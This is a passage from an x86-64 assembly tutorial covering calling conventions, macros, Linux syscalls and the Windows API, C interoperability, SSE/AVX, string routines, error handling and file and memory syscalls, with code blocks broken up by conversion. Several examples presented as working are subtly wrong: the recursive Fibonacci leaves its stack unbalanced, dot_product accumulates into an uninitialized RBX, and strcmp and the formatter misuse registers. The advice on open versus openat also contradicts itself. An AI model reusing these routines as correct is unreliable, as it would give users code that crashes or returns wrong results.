Assembly requires manual setup of loop counters and conditions, giving you full control over the flow of logic.

Function Calls and Recursion in Assembly

Function Calls:

Functions are subroutines that can be invoked using `CALL` and exited with `RET`.

```
call my_function
...
my_function:
    ; save state
    push rbp
    mov rbp, rsp
    ; function body
    pop rbp
```

ret

Registers like RDI , RSI , RDX , etc., are used for argument passing (System V ABI on Linux). RAX is used for return values.

Recursive Calls:

Each call creates a new stack frame. You must preserve any used registers and local state.

Key steps for recursion:

- Push arguments or save state on the stack.
- Maintain correct return address via CALL .
- Use RET to return control properly.

Example for understanding recursion:

```
call fibonacci
...
fibonacci:
    ; Implement recursion
    ret
```

Example: Fibonacci Sequence with Stack Recursion

This example computes the nth Fibonacci number using recursion.

```
section .text
    global _start
```

```
_start:
    mov rdi, 10         ; n = 10
    call fibonacci
    ; result in RAX

    ; Exit
    mov rax, 60
    xor rdi, rdi
    syscall

fibonacci:
    push rbp
    mov rbp, rsp
    push rdi             ; Save input

    cmp rdi, 1
    jbe base_case

    dec rdi
    call fibonacci       ; fib(n - 1)
    mov rbx, rax         ; Save result in RBX

    pop rdi              ; Restore original input
    push rbx             ; Save fib(n - 1)
    dec rdi
```

```
    call fibonacci      ; fib(n - 2)
    pop rbx            ; Retrieve fib(n - 1)
    add rax, rbx        ; fib(n) = fib(n-1) + fib(n-2)
    jmp end_fib

base_case:
    mov rax, rdi        ; fib(0) = 0, fib(1) = 1

end_fib:
    pop rdi
    pop rbp
    ret
```

Explanation:

- Base case: `fib(0)` and `fib(1)` return themselves.
- Recursive calls for `fib(n-1)` and `fib(n-2)` .
- Each call saves input parameters and intermediate values.
- Result is accumulated and returned in `RAX` .

While this recursive approach is not optimal for performance, it demonstrates:

- Proper use of the call stack.
- Recursive function structure.

- Value preservation between function calls.

Working with Procedures and Macros

Declaring and Calling Functions

In assembly, **procedures** (also called functions or subroutines) are reusable blocks of code that can be invoked using the CALL instruction and returned from using RET .

Declaring a Procedure:

```
my_function:
    ; procedure body
    ret
```

Calling a Procedure:

```
call my_function
```

When CALL is executed:

1. The **return address** (next instruction) is pushed onto the stack.
2. Control jumps to the target procedure.

When RET is executed:

1. The **return address** is popped off the stack.
2. Execution resumes after the original CALL .

Example:

```
section .text
global _start

_start:
    call greet
    ; exit
    mov rax, 60
    xor rdi, rdi
    syscall

greet:
    ; some operation
    ret
```

Passing Parameters and Returning Values

In 64-bit assembly, parameters and return values follow a platform-specific calling convention.

System V ABI (Linux/macOS):

- First six integer or pointer arguments:
  - `RDI`, `RSI`, `RDX`, `RCX`, `R8`, `R9`
- Return value: `RAX`

Microsoft x64 ABI (Windows):

- First four arguments: RCX , RDX , R8 , R9
- Return value: RAX

Example with Parameters:

```
section .text
global _start

_start:
    mov rdi, 5       ; arg1
    mov rsi, 3       ; arg2
    call add_two     ; result in RAX
    ; exit
    mov rax, 60
    xor rdi, rdi
    syscall

add_two:
    add rdi, rsi     ; rdi = rdi + rsi
    mov rax, rdi     ; return result in rax
    ret
```

Here, add_two accepts two arguments via registers and returns the result in RAX .

Local Variables and Stack Frames

Local variables can be implemented by reserving space on the stack within a **stack frame**. Stack frames are structured using `RBP` and `RSP` .

Creating a Stack Frame:

```
push rbp
mov rbp, rsp
sub rsp, 32        ; reserve 32 bytes for local vars
```

Accessing Local Variables:

Access them relative to `RBP` . For example, at `[rbp - 8]` .

Cleaning Up:

```
mov rsp, rbp
pop rbp
ret
```

Full Example with Local Variable:

```
my_func:
    push rbp
    mov rbp, rsp
    sub rsp, 8              ; local variable space
    mov qword [rbp-8], 42   ; store value
    mov rax, [rbp-8]        ; load value
    leave                   ; mov rsp, rbp + pop rbp
    ret
```

Using RBP simplifies debugging and stack tracing, though compilers may omit it in optimized code (frame pointer omission).

Writing Reusable Macros

A **macro** in assembly is a compile-time construct that expands into a block of instructions. Unlike procedures, macros do not have runtime overhead.

Declaring Macros in NASM:

```
%macro PRINT_HELLO 0
    mov rax, 1
    mov rdi, 1
    mov rsi, msg
    mov rdx, msg_len
    syscall
%endmacro
```

Using the Macro:

```
PRINT_HELLO
```

Parameterized Macro:

```
%macro ADD_TWO 2
    mov rax, %1
    add rax, %2
%endmacro

ADD_TWO 5, 10     ; Expands to mov rax, 5 and add rax, 10
```

Macros reduce code repetition and simplify complex instruction sequences, especially for I/O operations or register setups.

Pros of Macros:

- No CALL / RET overhead.
- Compile-time evaluation.
- Easier to inline repetitive logic.

Macro vs. Procedure: Use Cases

Feature	Macros	Procedures
Execution Time	Inlined at compile time	Executed at runtime
Performance	Faster, no call overhead	May involve CALL / RET cycles
Code Size	Larger due to duplication	Smaller due to reuse
Use Case	Short, frequent operations	Complex, reusable logic
Flexibility	Static (compile-time)	Dynamic (can be recursive)

When to Use Macros:

- I/O syscall wrappers.
- Debug logging.
- Short instruction sequences used often.

When to Use Procedures:

- Large, reusable logic.
- Functions that require recursion or internal state.
- Code requiring stack frames or local variables.

Combined Example:

```
%macro PRINT_CHAR 1
    mov rax, 1
    mov rdi, 1
    mov rsi, %1
    mov rdx, 1
    syscall
%endmacro

print_message:
    mov rsi, msg
    mov rcx, msg_len

print_loop:
    cmp rcx, 0
    je end
    PRINT_CHAR rsi
    inc rsi
    dec rcx
    jmp print_loop
```

```
end:
    ret
```

This combines a macro (PRINT_CHAR) for output with a reusable function (print_message) to iterate through a message buffer.

System Calls and Operating System Interface

Linux System Calls in Assembly (int 0x80, syscall)

System calls are the primary interface between an assembly program and the operating system. In 64-bit Linux, system calls are made using the `syscall` instruction rather than the legacy `int 0x80` used in 32-bit systems.

Making System Calls (64-bit)

To invoke a system call in 64-bit Linux:

- Use the `syscall` instruction.
- Place the syscall number in `RAX` .
- Place arguments in registers:
    - `RDI` , `RSI` , `RDX` , `R10` , `R8` , `R9`
- Return value is placed in `RAX` .

Example: Write to STDOUT

```
section .data
    msg db "Hello, world!", 0xA
    len equ $ - msg

section .text
```

```
    global _start

_start:
    mov rax, 1          ; syscall: sys_write
    mov rdi, 1          ; file descriptor: stdout
    mov rsi, msg        ; pointer to message
    mov rdx, len        ; length of message
    syscall

    mov rax, 60         ; syscall: sys_exit
    xor rdi, rdi        ; exit code 0
    syscall
```

Legacy int 0x80 (32-bit Only)

Though not used in 64-bit mode, it's worth noting that older 32-bit Linux systems used:

```
mov eax, 1     ; syscall number
mov ebx, 1     ; stdout
int 0x80
```

In 64-bit mode, this is obsolete and should not be used.

Windows API in Assembly (kernel32.dll, user32.dll)

In Windows, system services are not accessed directly via syscall instructions. Instead, you call functions exposed by dynamic-link libraries

(DLLs), such as kernel32.dll or user32.dll .

Calling Windows API Functions

To call a Windows API function:

1. Use a compatible assembler like FASM or MASM.
2. Declare external symbols.
3. Use the call instruction with correct arguments in registers or on the stack, depending on the calling convention.

Example: MessageBox from user32.dll (FASM)

```
format PE64 GUI
entry start

include 'win64a.inc'

section '.data' data readable writeable
    title db "Title",0
    message db "Hello from Assembly!",0

section '.text' code readable executable
start:
    sub rsp, 40
    mov rcx, 0
    mov rdx, message
    mov r8, title
```

```
    mov r9, 0
    call [MessageBoxA]

    mov rcx, 0
    call [ExitProcess]

section '.idata' import data readable
    library kernel32, 'kernel32.dll', user32, 'user32.dll'
    import kernel32, ExitProcess, 'ExitProcess'
    import user32, MessageBoxA, 'MessageBoxA'
```

This creates a GUI application that shows a message box.

Differences from Linux:

- Windows API functions behave like normal functions (not raw syscalls).
- You must link to the correct DLLs.
- Proper stack alignment and parameter passing are crucial.

File Handling: Open, Read, Write, Close

Interacting with files is a common system programming task. In Linux, this is done via syscalls such as `open`, `read`, `write`, and `close`.

Syscall Numbers (Linux):

Function	Syscall #

open	2
read	0
write	1
close	3

In 64-bit mode, use openat (number 257) instead of open .

Example: Open and Read a File

```
section .data
    filename db "myfile.txt", 0
    buffer resb 128

section .text
    global _start

_start:
    mov rax, 257          ; syscall: openat
    mov rdi, -100         ; AT_FDCWD
    mov rsi, filename     ; path
    mov rdx, 0            ; O_RDONLY
    syscall
    mov rbx, rax          ; save file descriptor

    mov rax, 0            ; syscall: read
    mov rdi, rbx          ; file descriptor
    mov rsi, buffer       ; buffer
```

```
mov rdx, 128          ; bytes to read
syscall

mov rax, 1            ; syscall: write
mov rdi, 1            ; stdout
syscall

mov rax, 3            ; syscall: close
mov rdi, rbx
syscall

mov rax, 60           ; syscall: exit
xor rdi, rdi
syscall
```

This code opens a file, reads 128 bytes, writes to standard output, and closes the file.

Windows Equivalent:

Use API functions like CreateFileA , ReadFile , WriteFile , CloseHandle . Calling them in pure assembly requires proper stack handling and WinAPI knowledge.

Creating and Managing Processes

Creating child processes enables multitasking and delegation of work.

Linux: fork , execve , waitpid

- fork : Create a new process.
- execve : Replace the current process image.
- waitpid : Wait for a child to terminate.

Example: Fork and Execute

```
section .data
    filename db "/bin/ls", 0
    null dq 0

section .text
    global _start

_start:
    mov rax, 57         ; syscall: fork
    syscall
    test rax, rax
    jnz parent

    ; child process
    mov rax, 59         ; syscall: execve
    mov rdi, filename
    mov rsi, null
    mov rdx, null
    syscall
```

```
parent:
    mov rax, 61         ; syscall: waitpid
    mov rdi, -1         ; wait for any child
    mov rsi, null
    mov rdx, 0
    syscall

    mov rax, 60         ; syscall: exit
    xor rdi, rdi
    syscall
```

This code forks the process. The child executes `/bin/ls`, and the parent waits.

Windows: `CreateProcess`

In Windows, use the `CreateProcessA` API. You need to fill a `STARTUPINFO` and `PROCESS_INFORMATION` structure and call the function properly aligned with the Windows ABI.

Example: Writing a Shell Command Executor

This example reads a command from the user, forks a process, and uses `execve` to execute it.

```
section .bss
    cmd resb 128
    argv resq 2

section .text
```

```
    global _start

_start:
    ; read input
    mov rax, 0          ; syscall: read
    mov rdi, 0          ; stdin
    mov rsi, cmd
    mov rdx, 128
    syscall

    ; null-terminate
    mov byte [rsi+rax-1], 0

    ; prepare args
    mov rdi, cmd
    mov [argv], rdi
    mov qword [argv+8], 0

    ; fork
    mov rax, 57         ; fork
    syscall
    test rax, rax
    jnz parent

    ; child: execve
```

```
    mov rax, 59
    mov rdi, cmd
    mov rsi, argv
    xor rdx, rdx
    syscall

parent:
    mov rax, 60         ; exit
    xor rdi, rdi
    syscall
```

What It Does:

1. Reads a line from standard input.
2. Forks a new process.
3. In the child, executes the command entered.
4. Parent exits after forking.

Assembly with C/C++ Interoperability

Mixing Assembly with C Code

Combining assembly with C or C++ is a powerful way to optimize performance-critical sections of code while maintaining the readability and portability of a high-level language.

Assembly can be mixed with C/C++ in three primary ways:

- Calling assembly functions from C
- Calling C functions from assembly
- Using inline assembly within C (compiler-specific)

To make this work smoothly, ensure both components follow the same **calling convention**, use compatible **data types**, and **linking** is done correctly.

Basic Structure

1. Write the assembly file (e.g., `fastfunc.asm` or `fastfunc.s`)
2. Write the C file that declares and uses the assembly function.
3. Use the appropriate assembler (`NASM` , `GAS` , etc.) and link both object files together with a C compiler like `gcc` .

Calling C Functions from Assembly

To call a C function from assembly, you need to:

- Use the correct **symbol name** as generated by the compiler.
- Follow the **platform ABI**: System V ABI on Linux, Microsoft x64 ABI on Windows.
- Prepare arguments in the expected registers.
- Align the stack correctly (usually 16-byte aligned on entry).

Example: Calling `printf` from Assembly (Linux)

```
extern printf


section .data
    msg db "Value: %d", 10, 0


section .text
    global main


main:
    ; int printf(const char *format, ...);
    mov rdi, msg
    mov rsi, 1234
    xor rax, rax        ; for varargs: number of xmm registers used
    call printf


    mov eax, 0
    ret
```

Compilation and Linking:

```
nasm -f elf64 callprintf.asm
gcc -no-pie callprintf.o -o callprintf
```

Key Notes:

- printf is variadic; RAX must be set to 0 before the call (System V ABI).
- RDI , RSI , etc., hold the arguments.

Inline Assembly in GCC and MSVC

Inline assembly allows you to insert raw assembly instructions directly into C/C++ code. This is useful for tight loops, CPU instructions not available in C, or hardware access.

GCC Inline Assembly (AT&T syntax)

```
int a = 10, b = 5, result;
__asm__ (
    "movl %1, %%eax;"
    "addl %2, %%eax;"
    "movl %%eax, %0;"
    : "=r"(result)
    : "r"(a), "r"(b)
    : "%eax"
);
```

- **Input operands**: "r"(a) , "r"(b)
- **Output operands**: "=r"(result)
- **Clobbered registers**: %eax

MSVC Inline Assembly (x86 only)

MSVC supports inline assembly only in 32-bit mode.

```
int a = 5, b = 10, c;
__asm {
    mov eax, a
    add eax, b
    mov c, eax
}
```

For 64-bit code in MSVC, you must use **external assembly files** or **intrinsics**, as inline assembly is unsupported in x64 builds.

Passing Structures and Arrays

Structures and arrays are passed by value or by reference (pointer) depending on the size and context.

C Side:

```
typedef struct {
    int x, y;
} Point;


void process_point(Point *p);
```

Assembly Side (System V ABI):

```
global process_point

process_point:
    ; RDI = pointer to Point
    mov eax, [rdi]        ; load x
    add eax, [rdi + 4]    ; add y
    ; do something with eax
    ret
```

To return a structure, C compilers may pass a hidden pointer in RDI (System V) or RCX (Windows x64), depending on the ABI and whether the struct is returned by value or pointer.

Passing Arrays:

Arrays decay into pointers when passed to functions.

C code:

```
void sum_array(int *arr, int len);
```

Assembly:

```
global sum_array

sum_array:
    ; RDI = arr
    ; RSI = len
    xor eax, eax
```

```
.loop:
    test rsi, rsi
    jz .done
    add eax, [rdi]
    add rdi, 4
    dec rsi
    jmp .loop
.done:
    ret
```

Example: Speeding up C with Optimized Assembly

Consider a function that calculates the dot product of two integer arrays:

C Version:

```
int dot_product(int *a, int *b, int len) {
    int result = 0;
    for (int i = 0; i < len; i++) {
        result += a[i] * b[i];
    }
    return result;
}
```

Optimized Assembly Version:

```
global dot_product
```

```
dot_product:
    ; RDI = a, RSI = b, RDX = len
    xor rax, rax        ; result = 0
    xor rcx, rcx        ; i = 0

.loop:
    cmp rcx, rdx
    jge .end
    mov eax, [rdi + rcx*4]
    imul eax, [rsi + rcx*4]
    add rbx, rax
    inc rcx
    jmp .loop

.end:
    mov eax, ebx
    ret
```

Compilation & Linking:

1. Save as dot.s
2. Compile C and Assembly:

```
gcc -c dot.s -o dot.o
gcc main.c dot.o -o program
```

This separation of concerns—C for program logic and assembly for performance—can yield better performance for computational tasks like graphics, cryptography, or audio processing.

Floating Point and SIMD Programming

Introduction to FPU, SSE, AVX

Modern 64-bit CPUs include powerful units for performing floating-point and vectorized operations. These include:

- **FPU (Floating Point Unit)**: The original x87 coprocessor used for scalar floating-point math.
- **SSE (Streaming SIMD Extensions)**: Allows vector operations on 128-bit registers (XMM).
- **AVX (Advanced Vector Extensions)**: Extends SIMD to 256-bit (YMM) and 512-bit (ZMM with AVX-512) registers, enabling parallel operations on larger data blocks.

Register Summary:

Instruction Set	Register Name	Width	Introduced In
x87 FPU	ST0–ST7	80-bit	1980s
SSE	XMM0–XMM15	128-bit	Pentium III
AVX	YMM0–YMM15	256-bit	Sandy Bridge
AVX-512	ZMM0–	512-	Skylake

ZMM31 bit

Using SIMD instructions allows parallel processing of data (e.g., 4 floats at once with SSE, 8 with AVX, 16 with AVX-512), drastically improving performance in data-intensive applications.

Performing Floating-Point Calculations

While x86 assembly provides the x87 FPU instructions, modern applications typically use **SSE/AVX instructions** for better performance and more intuitive register-based computation.

Using x87 FPU (Obsolete but instructive):

```
fld dword [a]      ; load a float onto the FPU stack
fld dword [b]      ; load another float
fadd               ; add ST0 + ST1
fstp dword [result]; store the result
```

The FPU uses a **stack-based architecture** and supports operations like fadd , fmul , fsub , fdiv , fsqrt .

Using SSE Instructions:

SSE allows operations on packed single- or double-precision floats using **XMM** registers.

```
movss xmm0, [a]     ; load scalar float
movss xmm1, [b]
addss xmm0, xmm1    ; xmm0 = xmm0 + xmm1
movss [result], xmm0
```

For packed operations (multiple floats at once):

```
movaps xmm0, [a]    ; load 4 floats
movaps xmm1, [b]
addps xmm0, xmm1    ; packed single-precision add
movaps [result], xmm0
```

- movss / addss — scalar single-precision
- movsd / addsd — scalar double-precision
- movaps / addps — packed single
- movapd / addpd — packed double

Using AVX Instructions:

AVX uses **YMM registers** for 256-bit operations (8 floats or 4 doubles).

```
vmovaps ymm0, [a]    ; load 8 floats
vmovaps ymm1, [b]
vaddps ymm0, ymm0, ymm1
vmovaps [result], ymm0
```

AVX is non-destructive: it uses three operands (dest = src1 + src2) unlike SSE's two-operand model (dest = dest + src).

Vectorized Math and Data Manipulation

SIMD shines in operations that can be parallelized, such as:

- Vector addition/subtraction

- Matrix multiplication
- Dot products
- Image processing
- Signal transformations (FFT, filtering)

Vector Add Example with SSE:

```
movaps xmm0, [vec1]
movaps xmm1, [vec2]
addps xmm0, xmm1
movaps [result], xmm0
```

This adds four single-precision floats from `vec1` and `vec2`.

Multiplication and Dot Product:

```
movaps xmm0, [a]
movaps xmm1, [b]
mulps xmm0, xmm1        ; element-wise multiplication

; optional: horizontal add for dot product
movaps xmm2, xmm0
shufps xmm2, xmm2, 0b11101110
addps xmm0, xmm2
shufps xmm2, xmm0, 0b00000001
addss xmm0, xmm2
movss [dot_result], xmm0
```

Masking, Shuffling, and Blending:

- andps , orps , xorps : logical operations on float vectors
- shufps : rearranges vector elements
- blendps : selects elements conditionally

These enable advanced manipulation of data like conditional operations and transpositions.

Example: Fast Matrix Multiplication with AVX

Multiplying two 4×4 matrices using AVX (single precision floats):

Setup (each matrix in row-major layout):

; Assume matrices A, B are 4x4 float arrays

; Result matrix C = A * B

Algorithm Overview:

For each row in A and each column in B:

C[i][j] = A[i][0]*B[0][j] + A[i][1]*B[1][j] + A[i][2]*B[2][j] + A[i][3]*B[3][j];

Assembly Implementation:

; Load row from A into YMM0

vmovaps ymm0, [a_row]

; Load each column from B and broadcast one element from A

```
vbroadcastss ymm1, [a_row]        ; A[i][0]
vmovaps ymm2, [b_col0]
vmulps ymm2, ymm1, ymm2

vbroadcastss ymm1, [a_row+4]      ; A[i][1]
vmovaps ymm3, [b_col1]
vmulps ymm3, ymm1, ymm3
vaddps ymm2, ymm2, ymm3

vbroadcastss ymm1, [a_row+8]      ; A[i][2]
vmovaps ymm3, [b_col2]
vmulps ymm3, ymm1, ymm3
vaddps ymm2, ymm2, ymm3

vbroadcastss ymm1, [a_row+12]     ; A[i][3]
vmovaps ymm3, [b_col3]
vmulps ymm3, ymm1, ymm3
vaddps ymm2, ymm2, ymm3

; Store result
vmovaps [c_row], ymm2
```

This takes advantage of AVX's ability to process 8 floats in parallel. Each vbroadcastss loads a single float from matrix A and replicates it across all 8 lanes.

SIMD vs. Scalar: Performance Comparison

Scalar Loop (C-style):

```
for (int i = 0; i < 8; ++i)
    result[i] = a[i] + b[i];
```

SIMD (AVX):

```
vmovaps ymm0, [a]
vmovaps ymm1, [b]
vaddps ymm0, ymm0, ymm1
vmovaps [result], ymm0
```

Performance Benefit:

- Scalar: One addition per instruction = 8 instructions.
- SIMD: Eight additions in one instruction.

Speedup: Up to **8×** with AVX (for simple arithmetic), more in memory-bound or branch-heavy operations.

Practical Gains:

- **AVX2** improves integer support.
- **AVX-512** doubles throughput (512-bit registers).
- Gains depend on memory alignment, data size, cache performance, and whether your CPU supports the instruction set.

Caveats:

- SIMD requires aligned memory (use `vmovaps` with aligned addresses).
- Increased code complexity.
- Requires CPU support and appropriate compiler flags (`-mavx` , `-mavx2` , `-mavx512f` , etc.).
- SIMD doesn't always help if branching or data dependencies dominate.

String and Text Manipulation

Working with ASCII and UTF-8 Strings

Strings in assembly are sequences of bytes terminated by a null character (0x00) in C-style. Each character corresponds to one or more bytes:

- **ASCII**: 1 byte per character (0x00–0x7F)
- **UTF-8**: Variable-width encoding (1–4 bytes per character)

In 64-bit assembly, strings are typically manipulated as byte arrays using pointer arithmetic and simple loops.

Example ASCII String:

```
section .data
    msg db "Hello, world!", 0      ; null-terminated string
```

Each character can be accessed using:

```
mov al, [rsi]       ; get character
cmp al, 0           ; check for null terminator
```

UTF-8 Consideration:

UTF-8 uses the high bits to encode multibyte characters:

- 1 byte: 0xxxxxxx

- 2 bytes: 110xxxxx 10xxxxxx
- 3 bytes: 1110xxxx 10xxxxxx 10xxxxxx
- 4 bytes: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

Handling UTF-8 requires additional parsing logic to interpret these multi-byte characters.

Implementing strlen , strcmp , strcpy

These foundational C-style string functions can be implemented manually in assembly using pointer traversal and byte comparison.

strlen — String Length

Counts the number of bytes before the null terminator.

```
; rdi = pointer to string
; returns length in rax
strlen:
    xor rax, rax          ; counter = 0
.len_loop:
    cmp byte [rdi + rax], 0
    je .done
    inc rax
    jmp .len_loop
.done:
    ret
```

strcmp — String Compare

Compares two strings byte by byte.

```
; rdi = str1, rsi = str2
; returns 0 if equal, >0 or <0 otherwise
strcmp:
    .loop:
        mov al, [rdi]
        mov bl, [rsi]
        cmp al, bl
        jne .notequal
        test al, al
        je .equal
        inc rdi
        inc rsi
        jmp .loop
    .equal:
        xor eax, eax
        ret
    .notequal:
        sub eax, ebx
        ret
```

strcpy — String Copy

Copies bytes from source to destination until null terminator.

```
; rdi = dest, rsi = src
; returns rdi
```

```
strcpy:
    .copy:
        mov al, [rsi]
        mov [rdi], al
        inc rsi
        inc rdi
        test al, al
        jnz .copy
    ret
```

These basic functions can be optimized using REP MOVSB for strcpy , or SIMD for longer strings.

Searching and Tokenizing Strings

String searching involves scanning through a string for specific characters or substrings.

Searching for a Character (strchr -like):

```
; rdi = pointer to string
; sil = target char
; returns pointer to first match or 0
strchr:
    .loop:
        mov al, [rdi]
        test al, al
        je .notfound
```

```
        cmp al, sil
        je .found
        inc rdi
        jmp .loop
    .found:
        mov rax, rdi
        ret
    .notfound:
        xor rax, rax
        ret
```

Tokenizing a String (strtok -like):

Splits a string into tokens based on delimiters.

```
; rdi = pointer to string
; sil = delimiter character
; modifies input string by replacing delimiter with null byte
; returns pointer to start of next token
strtok:
    ; skip leading delimiters
    .skip:
        mov al, [rdi]
        cmp al, sil
        jne .start_token
        inc rdi
        jmp .skip
```

```
.start_token:
    mov rax, rdi
    ; find next delimiter
    .find_delim:
        mov al, [rdi]
        test al, al
        je .done
        cmp al, sil
        je .split
        inc rdi
        jmp .find_delim
    .split:
        mov byte [rdi], 0

        inc rdi
    .done:
        ret
```

This function helps in breaking down space-separated or comma-separated strings manually.

Example: Custom String Formatter in Assembly

Let's create a very basic formatter function that replaces `%d` with a number in a string, similar to how `printf` works for integer placeholders.

Use Case:

format("Value is %d", 42) → "Value is 42"

High-Level Steps:

1. Traverse format string character by character.
2. Copy characters to destination buffer.
3. When %d is encountered, insert the number using an integer-to-string converter.

Integer-to-String (itoa):

```
; rdi = number
; rsi = buffer
; result in rsi
itoa:
    mov rcx, 10
    xor rax, rax
    mov rbx, rdi
    add rsi, 20         ; start from end
    mov byte [rsi], 0
    dec rsi
.reverse:
    xor rdx, rdx
    div rcx             ; rax = rbx / 10, rdx = rbx % 10
    add dl, '0'
    mov [rsi], dl
    dec rsi
    mov rbx, rax
```

```
    test rax, rax
    jnz .reverse
    inc rsi             ; move to first digit
    ret
```

String Formatter:

```
; rdi = format string
; rsi = output buffer
; rdx = integer argument
formatter:
    mov rbx, rsi        ; save output pointer
.next_char:
    mov al, [rdi]
    test al, al
    je .done
    cmp al, '%'
    jne .copy_char
    ; found '%'
    inc rdi
    mov al, [rdi]
    cmp al, 'd'
    jne .copy_char
    ; found %d
    push rdi
```

```
    push rsi
    mov rdi, rdx
    mov rsi, rbx
    call itoa
    mov rbx, rsi          ; update output ptr after itoa
    pop rsi
    pop rdi
    inc rdi
    jmp .next_char

.copy_char:
    mov [rbx], al
    inc rdi
    inc rbx
    jmp .next_char

.done:
    mov byte [rbx], 0
    ret
```

This routine mimics basic formatting and demonstrates how to integrate text processing, numeric conversion, and buffer management in low-level code.

Error Handling and Exit Codes

Understanding Exit Status in Linux and Windows

Exit codes are small integer values returned to the operating system when a program terminates. They are essential for:

- Indicating success or failure to the calling process
- Driving logic in shell scripts or batch files
- Debugging and error diagnosis

Linux Exit Codes

In Linux, programs return their exit status via the `sys_exit` system call:

```
mov rax, 60     ; sys_exit
mov rdi, 0      ; status code
syscall
```

- `0` indicates success
- Non-zero values indicate specific errors (conventionally used between `1–255`)

Common Linux codes:

Code	Meaning

0	Success
1	General error
2	Misuse of shell commands
127	Command not found

These are not enforced by the kernel but are conventionally followed by CLI tools and scripts.

Windows Exit Codes

In Windows, use the `ExitProcess` function:

```
extern ExitProcess

mov ecx, 1          ; error code

call ExitProcess
```

Exit codes can be examined using `%ERRORLEVEL%` in batch files or `GetExitCodeProcess()` in C/C++ programs.

Windows uses 32-bit exit codes, and conventionally, `0` is success while non-zero values represent specific errors.

Handling Invalid Input and Crashes

Robust assembly programs should validate input to prevent unexpected behavior, crashes, or security vulnerabilities.

Common Sources of Invalid Input:

- Buffer overflows
- Division by zero

- Invalid pointers or memory addresses
- Unexpected command-line arguments

Detecting Input Errors

Use checks before operations:

```
; prevent division by zero
cmp rsi, 0
je .handle_error
idiv rsi
jmp .continue

.handle_error:
    mov rdi, 1
    mov rax, 60
    syscall
```

For string input:

```
; check if null-terminated
mov rcx, 0
.loop:
    cmp byte [rdi + rcx], 0
    je .valid
    inc rcx
    cmp rcx, 256        ; max allowed length
```

```
    je .error

.valid:
    ; proceed
```

Command-Line Argument Validation

In Linux, command-line arguments are accessed from the stack after program start. Always verify the argument count and parse data carefully.

```
mov rax, [rsp]        ; argc
cmp rax, 2
jl .invalid_usage
```

Handling Crashes

Crashes (segmentation faults, illegal instructions) occur when:

- Dereferencing invalid memory
- Executing non-code memory
- Misaligned instructions or stack

Prevent crashes by:

- Using `sys_exit` or `ExitProcess` on error
- Checking pointer validity
- Ensuring correct stack alignment (16-byte on x86-64)
- Using safe, bounded loops

Detecting and Managing Overflow

Integer overflow happens when a computation exceeds the register's capacity and wraps around silently unless explicitly checked.

Overflow Flags

- **OF (Overflow Flag)**: Set when signed overflow occurs
- **CF (Carry Flag)**: Set when unsigned overflow occurs

You can detect overflow using conditional jumps after arithmetic instructions:

```
add rax, rbx
jo .overflow        ; jump if signed overflow occurred
```

Signed vs. Unsigned Checks:

```
; signed comparison
cmp eax, ebx
jg .greater_signed

; unsigned comparison
cmp eax, ebx
ja .greater_unsigned
```

Manual Overflow Detection:

For multiplication:

```
mov rax, 0x7FFFFFFF
mov rbx, 2
```

```
imul rbx
jo .overflow
```

For safe subtraction (avoiding underflow):

```
cmp rbx, rax
jb .underflow
sub rax, rbx
```

You may also use:

- ADD / SUB → JO / JC (overflow/carry)
- MUL / IMUL → Check RDX after 64-bit multiplication

Writing Robust and Safe Assembly Code

Writing safe assembly requires discipline, clear structure, and adherence to best practices.

Best Practices:

1. **Initialize All Registers and Memory**

Avoid using undefined values. Zero out memory or registers explicitly.

```
xor rax, rax
```

2. **Preserve Calling Convention**

If writing functions to be called from C or other assembly routines, preserve required registers.

- System V ABI (Linux): RBX, RBP, R12–R15 must be preserved
- Microsoft x64 ABI: RBX, RBP, RDI, RSI, R12–R15

Use PUSH / POP or save to stack manually.

3. **Maintain Stack Alignment**

Ensure the stack is 16-byte aligned before function calls:

```
sub rsp, 8      ; align
call some_func
add rsp, 8      ; restore
```

Failing to align the stack may cause segmentation faults in AVX or variadic function calls.

4. **Use Safe Buffer Sizes**

Avoid fixed-size buffers without bounds checking:

```
mov rsi, input
mov rcx, max_length
.loop:
    cmp byte [rsi], 0
    je .done
    inc rsi
    loop .loop
```

5. **Check Return Values**

Always check syscall or API return values for success or failure:

```
mov rax, 0       ; read syscall
syscall
test rax, rax
js .read_failed
```

6. **Fail Gracefully**

Use sys_exit or an equivalent to return clear error codes:

```
mov rdi, 2        ; specific error code
mov rax, 60
syscall
```

7. **Use Debuggers and Logging**

Use tools like GDB , x64dbg , or insert logging via write syscalls to track internal state.

Low-Level File I/O and Memory Management

Reading and Writing Binary Files

Low-level file I/O in assembly typically bypasses standard libraries and directly invokes operating system syscalls (Linux) or API functions (Windows). This gives maximum control over how files are read, written, and managed.

Linux File I/O Using Syscalls

The primary system calls for file operations in Linux are:

- `open` (syscall 2)
- `read` (syscall 0)
- `write` (syscall 1)
- `close` (syscall 3)

Example: Reading a File

```
section .data
    filename db "data.bin", 0
    buffer   times 1024 db 0

section .text
    global _start
```

```
_start:
    ; open("data.bin", O_RDONLY, 0)
    mov rax, 2              ; sys_open
    mov rdi, filename
    mov rsi, 0              ; O_RDONLY
    mov rdx, 0              ; mode
    syscall
    mov r12, rax            ; save file descriptor

    ; read(fd, buffer, 1024)
    mov rax, 0              ; sys_read
    mov rdi, r12
    mov rsi, buffer
    mov rdx, 1024
    syscall

    ; write(1, buffer, bytes_read)
    mov rdi, 1              ; stdout
    syscall

    ; close(fd)
    mov rax, 3
    mov rdi, r12
    syscall
```

```
; exit(0)
mov rax, 60
xor rdi, rdi
syscall
```

Example: Writing a File

```
; open("out.bin", O_WRONLY|O_CREAT, 0644)
mov rax, 2
mov rdi, out_file
mov rsi, 577            ; O_WRONLY|O_CREAT
mov rdx, 0o644
syscall
```

Windows File I/O Using WinAPI

You can use:

- CreateFileA
- ReadFile
- WriteFile
- CloseHandle

Each of these functions requires proper structure alignment and calling conventions in the Windows environment (RCX, RDX, R8, R9 used for arguments).

Memory Mapping and Allocation

Memory mapping gives direct access to a file's content in virtual memory or allows allocating large anonymous memory regions.

mmap on Linux

```
mov rax, 9          ; sys_mmap
mov rdi, 0          ; addr = NULL (let kernel choose)
mov rsi, 4096       ; length
mov rdx, 3          ; PROT_READ | PROT_WRITE
mov r10, 34         ; MAP_ANONYMOUS | MAP_PRIVATE
mov r8, -1          ; fd = -1
mov r9, 0           ; offset
syscall
```

Returns a pointer to a new memory region. This memory can be used like a regular buffer for read/write operations.

munmap (syscall 11)

Use this to release memory regions after use.

brk and sbrk

Older and simpler allocation mechanisms involve changing the end of the data segment with brk .

```
mov rax, 12         ; sys_brk
mov rdi, 0
syscall             ; get current program break
```

To grow the heap:

```
add rax, 4096
```

```
mov rdi, rax
mov rax, 12
syscall
```

